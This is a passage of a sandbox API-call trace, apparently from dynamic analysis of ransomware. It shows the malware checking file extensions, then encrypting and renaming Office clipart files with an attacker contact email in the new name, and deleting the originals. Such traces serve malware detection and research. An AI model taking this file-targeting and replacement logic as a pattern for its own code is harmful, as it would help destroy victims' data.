lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2040, lpOverlapped=0x0) returned 1 [0106.188] ReadFile (in: hFile=0x19c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.188] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.188] SetEndOfFile (hFile=0x3a8) returned 1 [0106.188] CloseHandle (hObject=0x3a8) returned 1 [0106.188] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.188] SetEndOfFile (hFile=0x19c) returned 1 [0106.190] CloseHandle (hObject=0x19c) returned 1 [0106.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.191] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf")) returned 1 [0106.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0106.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0106.191] lstrlenW (lpString=".doc") returned 4 [0106.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.191] lstrlenW (lpString=".docx") returned 5 [0106.191] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0106.191] lstrlenW (lpString=".pdf") returned 4 [0106.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.191] lstrlenW (lpString=".xls") returned 4 [0106.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.191] lstrlenW (lpString=".xlsx") returned 5 [0106.191] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0106.191] lstrlenW (lpString=".ppt") returned 4 [0106.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0106.191] lstrlenW (lpString=".zip") returned 4 [0106.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.191] lstrlenW (lpString=".rar") returned 4 [0106.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.191] lstrlenW (lpString=".bz2") returned 4 [0106.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.191] lstrlenW (lpString=".7z") returned 3 [0106.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0106.192] lstrlenW (lpString=".dbf") returned 4 [0106.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0106.192] lstrlenW (lpString=".1cd") returned 4 [0106.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0106.192] lstrlenW (lpString=".jpg") returned 4 [0106.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0106.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0106.192] lstrlenW (lpString=".doc") returned 4 [0106.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.192] lstrlenW (lpString=".docx") returned 5 [0106.192] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0106.192] lstrlenW (lpString=".pdf") returned 4 [0106.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.192] lstrlenW (lpString=".xls") returned 4 [0106.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.192] lstrlenW (lpString=".xlsx") returned 5 [0106.192] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0106.192] lstrlenW (lpString=".ppt") returned 4 [0106.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0106.192] lstrlenW (lpString=".zip") returned 4 [0106.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.192] lstrlenW (lpString=".rar") returned 4 [0106.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.192] lstrlenW (lpString=".bz2") returned 4 [0106.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.192] lstrlenW (lpString=".7z") returned 3 [0106.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0106.192] lstrlenW (lpString=".dbf") returned 4 [0106.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0106.192] lstrlenW (lpString=".1cd") returned 4 [0106.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0106.192] lstrlenW (lpString=".jpg") returned 4 [0106.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.192] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0106.192] lstrlenW (lpString="J0107026.WMF") returned 12 [0106.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0106.193] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=7632) returned 1 [0106.193] CloseHandle (hObject=0x19c) returned 1 [0106.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf")) returned 0x20 [0106.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0106.193] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.193] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0106.194] GetLastError () returned 0x0 [0106.194] ReadFile (in: hFile=0x19c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1dd0, lpOverlapped=0x0) returned 1 [0106.196] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1de0, lpOverlapped=0x0) returned 1 [0106.197] ReadFile (in: hFile=0x19c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.197] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.197] SetEndOfFile (hFile=0x3a8) returned 1 [0106.197] CloseHandle (hObject=0x3a8) returned 1 [0106.197] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.198] SetEndOfFile (hFile=0x19c) returned 1 [0106.201] CloseHandle (hObject=0x19c) returned 1 [0106.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf")) returned 1 [0106.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0106.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0106.202] lstrlenW (lpString=".doc") returned 4 [0106.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.202] lstrlenW (lpString=".docx") returned 5 [0106.202] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0106.202] lstrlenW (lpString=".pdf") returned 4 [0106.202] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.202] lstrlenW (lpString=".xls") returned 4 [0106.202] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.202] lstrlenW (lpString=".xlsx") returned 5 [0106.202] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0106.202] lstrlenW (lpString=".ppt") returned 4 [0106.202] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0106.202] lstrlenW (lpString=".zip") returned 4 [0106.202] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.202] lstrlenW (lpString=".rar") returned 4 [0106.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.203] lstrlenW (lpString=".bz2") returned 4 [0106.203] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.203] lstrlenW (lpString=".7z") returned 3 [0106.203] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0106.203] lstrlenW (lpString=".dbf") returned 4 [0106.203] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0106.203] lstrlenW (lpString=".1cd") returned 4 [0106.203] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0106.203] lstrlenW (lpString=".jpg") returned 4 [0106.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0106.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0106.203] lstrlenW (lpString=".doc") returned 4 [0106.203] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.203] lstrlenW (lpString=".docx") returned 5 [0106.203] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0106.203] lstrlenW (lpString=".pdf") returned 4 [0106.203] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.203] lstrlenW (lpString=".xls") returned 4 [0106.203] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.203] lstrlenW (lpString=".xlsx") returned 5 [0106.203] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0106.203] lstrlenW (lpString=".ppt") returned 4 [0106.203] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0106.203] lstrlenW (lpString=".zip") returned 4 [0106.203] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.203] lstrlenW (lpString=".rar") returned 4 [0106.203] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.203] lstrlenW (lpString=".bz2") returned 4 [0106.203] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.203] lstrlenW (lpString=".7z") returned 3 [0106.203] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0106.203] lstrlenW (lpString=".dbf") returned 4 [0106.203] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0106.203] lstrlenW (lpString=".1cd") returned 4 [0106.203] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0106.203] lstrlenW (lpString=".jpg") returned 4 [0106.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.203] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0106.203] lstrlenW (lpString="J0107042.WMF") returned 12 [0106.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0106.206] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=9048) returned 1 [0106.206] CloseHandle (hObject=0x38c) returned 1 [0106.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf")) returned 0x20 [0106.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0106.206] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.207] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0106.208] GetLastError () returned 0x0 [0106.208] ReadFile (in: hFile=0x38c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2358, lpOverlapped=0x0) returned 1 [0106.210] WriteFile (in: hFile=0x19c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2360, lpOverlapped=0x0) returned 1 [0106.211] ReadFile (in: hFile=0x38c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.211] WriteFile (in: hFile=0x19c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.211] SetEndOfFile (hFile=0x19c) returned 1 [0106.212] CloseHandle (hObject=0x19c) returned 1 [0106.212] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.212] SetEndOfFile (hFile=0x38c) returned 1 [0106.217] CloseHandle (hObject=0x38c) returned 1 [0106.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.217] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf")) returned 1 [0106.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0106.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0106.218] lstrlenW (lpString=".doc") returned 4 [0106.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.218] lstrlenW (lpString=".docx") returned 5 [0106.218] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0106.219] lstrlenW (lpString=".pdf") returned 4 [0106.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.219] lstrlenW (lpString=".xls") returned 4 [0106.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.219] lstrlenW (lpString=".xlsx") returned 5 [0106.219] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0106.219] lstrlenW (lpString=".ppt") returned 4 [0106.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0106.219] lstrlenW (lpString=".zip") returned 4 [0106.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.219] lstrlenW (lpString=".rar") returned 4 [0106.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.219] lstrlenW (lpString=".bz2") returned 4 [0106.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.219] lstrlenW (lpString=".7z") returned 3 [0106.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0106.219] lstrlenW (lpString=".dbf") returned 4 [0106.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0106.219] lstrlenW (lpString=".1cd") returned 4 [0106.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0106.219] lstrlenW (lpString=".jpg") returned 4 [0106.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0106.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0106.219] lstrlenW (lpString=".doc") returned 4 [0106.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.219] lstrlenW (lpString=".docx") returned 5 [0106.219] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0106.219] lstrlenW (lpString=".pdf") returned 4 [0106.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.219] lstrlenW (lpString=".xls") returned 4 [0106.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.219] lstrlenW (lpString=".xlsx") returned 5 [0106.220] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0106.220] lstrlenW (lpString=".ppt") returned 4 [0106.220] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0106.220] lstrlenW (lpString=".zip") returned 4 [0106.220] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.220] lstrlenW (lpString=".rar") returned 4 [0106.220] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.220] lstrlenW (lpString=".bz2") returned 4 [0106.220] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.220] lstrlenW (lpString=".7z") returned 3 [0106.220] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0106.220] lstrlenW (lpString=".dbf") returned 4 [0106.220] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0106.220] lstrlenW (lpString=".1cd") returned 4 [0106.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0106.220] lstrlenW (lpString=".jpg") returned 4 [0106.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.220] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0106.220] lstrlenW (lpString="J0107090.WMF") returned 12 [0106.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0106.221] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=14132) returned 1 [0106.221] CloseHandle (hObject=0x38c) returned 1 [0106.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf")) returned 0x20 [0106.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0106.222] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.222] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0106.223] GetLastError () returned 0x0 [0106.223] ReadFile (in: hFile=0x38c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x3734, lpOverlapped=0x0) returned 1 [0106.227] WriteFile (in: hFile=0x19c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3740, lpOverlapped=0x0) returned 1 [0106.228] ReadFile (in: hFile=0x38c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.228] WriteFile (in: hFile=0x19c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 